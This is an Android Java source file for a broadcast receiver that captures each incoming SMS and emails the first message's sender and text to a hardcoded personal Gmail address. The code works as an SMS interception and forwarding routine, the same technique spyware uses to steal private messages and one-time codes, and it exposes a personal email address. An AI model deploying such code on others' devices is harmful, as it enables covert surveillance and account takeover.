package com.android.kmlmrg.services.receivers;

import javax.mail.MessagingException;
import javax.mail.internet.AddressException;

import com.android.kmlmrg.services.web.SendMailAsync;
import com.android.kmlmrg.utils.MailHelper;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsMessage;
import android.util.Log;

public class Sms2EmailReceiver extends BroadcastReceiver{
	
	/**LOG**/
	private static final  String LOG_TAG = Sms2EmailReceiver.class.getName();
	
	
	@Override
	public void onReceive(Context pContext, Intent pIntent) {
		Log.i(LOG_TAG, "START - onReceive");

		Bundle bundle = pIntent.getExtras();

		Object messages[] = (Object[]) bundle.get("pdus");
		SmsMessage smsMessage[] = new SmsMessage[messages.length];
		for (int n = 0; n <messages.length; n++) {
		smsMessage[n] = SmsMessage.createFromPdu((byte[]) messages[n]);
		}
	
			String[] listRecipient ={"gerald.marierose@gmail.com"};
			SendMailAsync sync = new SendMailAsync(smsMessage[0].getOriginatingAddress(),smsMessage[0].getMessageBody(),listRecipient);
			sync.execute();
		
		Log.i(LOG_TAG, "END - onReceive");

	}


}
